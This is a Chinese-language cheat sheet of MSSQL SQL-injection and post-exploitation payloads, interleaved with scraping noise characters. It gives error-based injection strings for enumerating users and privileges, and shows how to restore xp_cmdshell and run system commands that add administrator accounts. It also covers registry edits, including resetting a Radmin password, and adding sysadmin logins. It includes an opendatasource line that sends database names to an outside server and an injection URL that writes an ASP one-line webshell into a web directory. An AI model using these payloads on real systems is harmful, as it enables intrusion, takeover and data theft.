//看看是什么权限的6 t) ~& L7 K- `! U, g5 [
and 1=(Select IS_MEMBER('db_owner')) p, M" m4 \& a
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--0 F; B# W9 m9 Q% G5 Q! a, w' O/ v" E
7 f. a2 l" y* q9 V//检测是否有读取某数据库的权限' H& M2 E* N. A' M% v3 |* D/ Y
and 1= (Select HAS_DBACCESS('master'))! O$ m! U9 q1 r/ [9 K$ n) ^
And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
; v B8 g, A' Q; M# D3 m7 m8 z
0 c( _! e3 @4 r7 R4 n) _
8 z1 i1 Q' G7 E! J/ X* l8 H: V* B数字类型& t x! Z9 t( c; Z
and char(124)%2Buser%2Bchar(124)=0
$ ?: l: j& z" z1 {! N. V
) g$ i9 v8 b0 e/ d' h字符类型
8 _/ r( `/ f% c. E8 j6 m1 z" a, y# \' and char(124)%2Buser%2Bchar(124)=0 and ''='
! ^- E1 ]( ^3 j I1 F
) b6 e. _. ~6 o5 e# {/ k# Z搜索类型! w& T$ [ G8 q/ d S9 L0 x. A, {
' and char(124)%2Buser%2Bchar(124)=0 and '%'='+ Y8 i; t; @, |1 U7 V+ R1 k7 s
+ K% e/ N1 c! \5 H" K* L6 Z
爆用户名! M9 _' I" _& L) O3 ]# X/ J
and user>0$ h0 P' B# O4 r8 j* @ }
' and user>0 and ''='
3 D& X; F* P% E3 j/ `
! X/ Q) V. ?0 @3 }检测是否为SA权限
& u( l$ A% @% i( r" V3 Rand 1=(select IS_SRVROLEMEMBER('sysadmin'));--1 I8 s. R; ]. j6 \+ n
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
" C; O8 J+ e" M. |# E1 |, E: ?0 M9 J9 O# W' a: n
检测是不是MSSQL数据库- Q7 E& W/ a& _5 S; Y2 q" k: q+ I
and exists (select * from sysobjects);--1 h- i# U; o( s1 y" R; ^* t8 v
x' s* z" t: L+ Q, G检测是否支持多行6 [8 I) n' d5 e! K& X* y: u
;declare @d int;--
, |: I* f6 b) Y4 A0 U7 v* a* Z, i. y( B3 e0 z) m
恢复 xp_cmdshell# R& o2 _! ~" H# q9 Y0 L
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
2 T" u+ k' d. D+ [$ t2 a; L/ @( C( P2 Z7 U( d/ K
! p# k9 V# v4 g& ?
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')6 P: N8 X9 s. @+ M# ^0 _, u: ?
- Z { C% r& L3 _3 o. k//-----------------------; K! z# c: Q; B& l
// 执行命令
& i: M6 I0 }1 ~' @# Q//-----------------------, O, `7 y% c$ A% w' x0 b `
首先开启沙盘模式: p" ?/ X. ?3 a/ y/ S" ] r
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',15 U* P0 s k4 ~0 J1 p0 n
, ^9 t$ p; e: g0 r( y然后利用jet.oledb执行系统命令6 H$ I3 K7 ?+ r
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')+ S8 c( k \3 x. i& }4 G" c
2 X% t- j6 ]5 p4 c* n5 [
执行命令
$ h# n- q5 O, I7 o;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
9 S' M( Y: G2 h U3 x$ [
A" r! D4 h6 [5 A# K- kEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'
0 B/ @/ @( i# k$ \, \6 \, p
+ a0 L$ L" V# c, D+ h判断xp_cmdshell扩展存储过程是否存在:/ ^$ c# K: m+ _9 m: m2 |& u
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'), }& L' N2 C8 h2 s; |0 T, E$ P
2 {) w6 v7 y7 x- ]7 [7 `
写注册表
0 g, v, z3 I0 a1 ]: I2 U& Yexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
7 _ s5 O2 F; T7 W- ~# u; a; ]! R! D0 \, A O2 X/ R+ R
REG_SZ a" y+ p( v3 o
$ _8 l* x7 G# w读注册表
! ~" z! l% D6 d$ p) texec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'' M/ V, ~7 [; M5 N
! [$ o; J, c0 S- u0 \, S读取目录内容
0 P/ h5 X0 `6 j5 Cexec master..xp_dirtree 'c:\winnt\system32\',1,1
) [4 b5 r; ~% r& {7 `# D& B1 g! N& H4 ^9 t, f0 i
& Y6 ]7 h' {7 I0 a( v( w7 {/ v
数据库备份
' ~' `5 l- }# ?/ P( dbackup database pubs to disk = 'c:\123.bak'
3 }0 ~5 ]* U2 l* F' d
/ t6 X. j2 J' t" F$ `1 H& \//爆出长度' {& ~5 t; ]: k+ u) D+ [
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
# O! v7 ?; z' _; ]3 w6 ?
" K" k" f$ ^2 G+ r/ r5 D# a2 B- J: D# P, Y. w- B( ^8 ]
, c w6 }( w# G8 e+ d' H更改sa口令方法:用sql综合利用工具连接后,执行命令:
) G$ q0 L; x( ^5 J2 |9 Eexec sp_password NULL,'新密码','sa'; c5 C2 b; G7 G# z9 O
; x- b5 L: P) x+ i( @1 Y
添加和删除一个SA权限的用户test:, F" }; w5 S! F/ n
exec master.dbo.sp_addlogin test,9530772
0 J, w9 J- C. _9 c! d, o$ s4 ?: {' \+ vexec master.dbo.sp_addsrvrolemember test,sysadmin& A t5 d# V. Z8 W4 d& ]
- c2 p! {, z, g1 P8 L$ }
删除扩展存储过过程xp_cmdshell的语句:
) B2 ?$ h- W) n& c- b, T5 T3 \exec sp_dropextendedproc 'xp_cmdshell'
- u) p" R- j; [ b) o$ G8 T$ m/ p1 R1 @9 V7 c
添加扩展存储过过程
7 c; b' |$ n0 Y) A: |EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
$ @. F; K9 e( R( s" }/ SGRANT exec On xp_proxiedadata TO public/ m2 F% d2 ]5 n D' w
6 l6 T P/ W4 r4 |3 I9 V
. K- {* l* u' f) V* T停掉或激活某个服务。
' g/ U6 O- E' R+ d) D9 A
) g+ _3 {; _4 U3 kexec master..xp_servicecontrol 'stop','schedule'- y8 ]2 r" [ W, v# L
exec master..xp_servicecontrol 'start','schedule'
7 ~$ Z; e4 C! u1 E) [
' w, Z2 L5 R. V: Y) s! l& Bdbo.xp_subdirs6 k# `' `4 @ `$ n8 @
: I) ?" U+ ^) b9 c& w
只列某个目录下的子目录。8 ?1 m* _9 ]+ m! k+ P3 U7 J
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
( Q. Y. u1 g) x9 ]9 j/ Z* P$ M; I' L& p# \2 b
dbo.xp_makecab
! r0 M H& K1 C; f) y; ]. Q/ Q: r$ D$ y: p' f+ F! b
将目标多个档案压缩到某个目标档案之内。% H. a1 p0 {3 s( n6 [! w
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
* f+ e* o/ o" w, U' O
7 j) u3 r3 t) i! Sdbo.xp_makecab
/ L2 w3 W2 D2 @'c:\test.cab','mszip',1,2 Z. ^$ w& l; r. l
'C:\Inetpub\wwwroot\SQLInject\login.asp',, ]; @- g P; f8 r' L: \2 U
'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'2 v- X7 F1 T+ }8 l6 V3 L
2 T) ~2 \# e9 x8 A3 S2 ~
xp_terminate_process ^1 r! C/ R7 g
' d) Y b- }, c
停掉某个执行中的程序,但赋予的参数是 Process ID。
: {* \) t7 M. _3 Z' t$ {利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
* }; C. C- ^4 f% [ Y2 B( w4 _" i l# H; k
xp_terminate_process 2484
+ X( S# O% I- I( q5 L
1 d- C/ T2 f- kxp_unpackcab
& K# O' Y8 U% j- y6 ] Y1 Z3 w9 y8 s/ I' `
) d2 C2 k! E, F! G解开压缩档。9 H% H+ ]7 D6 U1 }, R4 r* c' j
+ c7 G* G* p. M7 {* ]4 c3 B/ W
xp_unpackcab 'c:\test.cab','c:\temp',1% s. j$ g0 z2 d9 D+ v0 V
% m% ]* S4 `/ g3 H
& l2 r! \: X5 [. o+ Q7 t
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234- H2 c8 N5 I8 E4 e" `( [# f
1 L) m6 g9 i; K% w: xcreate database lcx;
+ _* z- A% |2 O) VCreate TABLE ku(name nvarchar(256) null);
% f$ t+ O/ a7 r' v0 ^: ]& ECreate TABLE biao(id int NULL,name nvarchar(256) null);1 [5 r, }( G4 F& c H
' e, d) e1 ^7 B3 A1 ~
//得到数据库名
, J% V4 J1 w$ G# m$ I7 a$ D7 h3 Winsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
$ _+ \3 `' a0 i8 U% O$ B" B b9 u; I
' ~, \( i" ^8 n! r8 X: b c, }% n//在Master中创建表,看看权限怎样& ~' A' R" w. J6 R" j* U% ^0 [' f
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
?4 k& v; ^5 j! p% V0 K
. h% I/ L8 [4 A) T$ s3 v用 sp_makewebtask直接在web目录里写入一句话马:
! g7 j$ R3 J4 g: r: _2 k0 S6 [/ N' jhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--, {* b( ^2 o3 N }6 H/ h
@: c {4 I6 b) S//更新表内容
% b" V5 d" x6 X8 ZUpdate films SET kind = 'Dramatic' Where id = 123! L. T' F1 G& v9 F7 i F
{0 ]2 L9 a4 l8 U//删除内容, l) _, Y2 h8 a9 Q7 X( ]7 E' Y* o
delete from table_name where Stockid = 3 |